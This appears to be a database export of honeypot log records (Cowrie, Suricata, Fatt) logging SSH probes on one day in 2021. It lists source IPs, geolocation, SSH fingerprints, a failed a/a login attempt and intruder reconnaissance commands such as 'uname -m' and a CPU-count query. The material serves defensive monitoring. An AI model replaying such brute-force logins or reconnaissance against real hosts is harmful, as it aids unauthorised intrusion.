27914	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:36.632118+03	2021-09-20 14:30:02.145523+03	{"_id": "rwbrAnwBvYTbRNuEIyoz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "9cb1debe220f", "@version": "1", "duration": 4.784912109375, "timestamp": "2021-09-20T11:15:36.632118Z", "@timestamp": "2021-09-20T11:15:36.632Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27915	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:37.447974+03	2021-09-20 14:30:02.148524+03	{"_id": "sQbrAnwBvYTbRNuEJyob", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-PUTTY'", "session": "f25012e6ece1", "version": "b'SSH-2.0-PUTTY'", "@version": "1", "timestamp": "2021-09-20T11:15:37.447974Z", "@timestamp": "2021-09-20T11:15:37.447Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27916	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:15:37.708788+03	2021-09-20 14:30:02.149525+03	{"_id": "sgbrAnwBvYTbRNuEJyod", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "f25012e6ece1", "@version": "1", "timestamp": "2021-09-20T11:15:37.708788Z", "@timestamp": "2021-09-20T11:15:37.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27917	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:53.03901+03	2021-09-20 14:30:02.150523+03	{"_id": "fQbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:53.039010Z", "@timestamp": "2021-09-20T11:15:53.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28642	5.188.62.253	109.199.241.180	Cowrie	2021-09-20 14:20:09.514419+03	2021-09-20 14:30:03.107554+03	{"_id": "mgbvAnwBvYTbRNuETjBX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.253", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.253", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "a9e00fab7de6", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:20:09.514419Z", "@timestamp": "2021-09-20T11:20:09.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27918	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:53.60725+03	2021-09-20 14:30:02.152524+03	{"_id": "fgbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "81.71.17.12", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5688638687133789, "duplicate": true, "timestamp": "2021-09-20T11:15:53.607250Z", "@timestamp": "2021-09-20T11:15:53.607Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27919	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:53.548018+03	2021-09-20 14:30:02.153523+03	{"_id": "ewbrAnwBvYTbRNuEZSuv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "a108cc9b3fd7", "@version": "1", "timestamp": "2021-09-20T11:15:53.548018Z", "@timestamp": "2021-09-20T11:15:53.548Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27920	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:15:53.483397+03	2021-09-20 14:30:02.154523+03	{"_id": "gwbrAnwBvYTbRNuEZyuH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2071863994366015, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47658, "dest_port": 22, "timestamp": "2021-09-20T11:15:53.483397Z", "@timestamp": "2021-09-20T11:15:53.483Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27921	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:53.483586+03	2021-09-20 14:30:02.156523+03	{"_id": "hAbrAnwBvYTbRNuEaCvN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47658, "timestamp": "2021-09-20T11:15:53.483586", "@timestamp": "2021-09-20T11:15:53.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27922	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:54.010827+03	2021-09-20 14:30:02.157523+03	{"_id": "jQbrAnwBvYTbRNuEaSuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:54.010827Z", "@timestamp": "2021-09-20T11:15:54.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27924	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:54.983558+03	2021-09-20 14:30:02.159523+03	{"_id": "mQbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:54.983558Z", "@timestamp": "2021-09-20T11:15:54.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27925	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:54.983011+03	2021-09-20 14:30:02.161523+03	{"_id": "lwbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:54.983011Z", "@timestamp": "2021-09-20T11:15:54.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27926	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:55.569798+03	2021-09-20 14:30:02.162523+03	{"_id": "nQbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5be36f5fcf58", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:55.569798Z", "@timestamp": "2021-09-20T11:15:55.569Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27927	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:55.738505+03	2021-09-20 14:30:02.164523+03	{"_id": "mAbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [a/a] failed", "session": "a108cc9b3fd7", "@version": "1", "password": "a", "username": "a", "timestamp": "2021-09-20T11:15:55.738505Z", "@timestamp": "2021-09-20T11:15:55.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27928	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:55.399315+03	2021-09-20 14:30:02.165524+03	{"_id": "jwbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "53a9145b852b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:55.399315Z", "@timestamp": "2021-09-20T11:15:55.399Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27929	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:55.666098+03	2021-09-20 14:30:02.166525+03	{"_id": "kQbrAnwBvYTbRNuEbSuB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "53a9145b852b", "@version": "1", "timestamp": "2021-09-20T11:15:55.666098Z", "@timestamp": "2021-09-20T11:15:55.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
